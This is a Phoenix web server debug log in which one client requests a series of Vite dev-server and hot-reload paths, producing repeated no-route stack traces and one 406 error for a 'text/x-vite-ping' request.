[Thu Sep  3 18:09:36.511000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:16560] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:36.534000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:16548] GET /@vite/env
[Thu Sep  3 18:09:36.560000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:16548] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:37.910000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:4488] GET /bundledDevClient.mjs
[Thu Sep  3 18:09:37.935000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:4488] ** (Phoenix.Router.NoRouteError) no route found for GET /bundledDevClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:38.008000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:16548] GET /vite/client
[Thu Sep  3 18:09:38.028000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:16548] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:39.241000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:16560] GET /vite/client.js
[Thu Sep  3 18:09:39.263000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:16560] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:39.397000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:16548] GET /vite/client.mjs
[Thu Sep  3 18:09:39.411000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:16548] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:39.634000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:4488] GET /vite/hmr
[Thu Sep  3 18:09:39.653000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:4488] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:40.651000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:16616] GET /vite/hmr.js
[Thu Sep  3 18:09:40.669000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:16616] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:41.200000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:4488] GET /vite/hmr.mjs
[Thu Sep  3 18:09:41.220000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:4488] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:41.409000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:16560] GET /@hmr
[Thu Sep  3 18:09:41.423000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:16560] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:42.370000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:16616] GET /@hmr.js
[Thu Sep  3 18:09:42.387000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:16616] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:43.626000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:4488] GET /@hmr.mjs
[Thu Sep  3 18:09:43.644000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:4488] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:43.888000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:16560] GET /__hmrClient
[Thu Sep  3 18:09:43.903000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:16560] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:44.333000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:16620] GET /__hmrClient.js
[Thu Sep  3 18:09:44.347000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:16620] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:45.326000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:16560] GET /__hmrClient.mjs
[Thu Sep  3 18:09:45.342000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:16560] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:09.758000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 18:10:10.198000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40680] GET /
[Thu Sep  3 18:10:10.198000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:40680] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:10:10.199000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40680] Sent 200 in 1ms
[Thu Sep  3 18:10:17.598000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40680] GET /
[Thu Sep  3 18:10:17.598000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:40680] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"__vitesweep" => "52a614990ef3424f"}
  Pipelines: [:browser]
[Thu Sep  3 18:10:17.598000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40680] Sent 200 in 816µs
[Thu Sep  3 18:10:18.543000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28546] GET /
[Thu Sep  3 18:10:18.543000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:28546] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"__vitesweep" => "52a614990ef3424f"}
  Pipelines: [:browser]
[Thu Sep  3 18:10:18.556000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28546] Sent 406 in 13ms
[Thu Sep  3 18:10:18.558000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28546] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * "text/x-vite-ping" with extensions: []

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
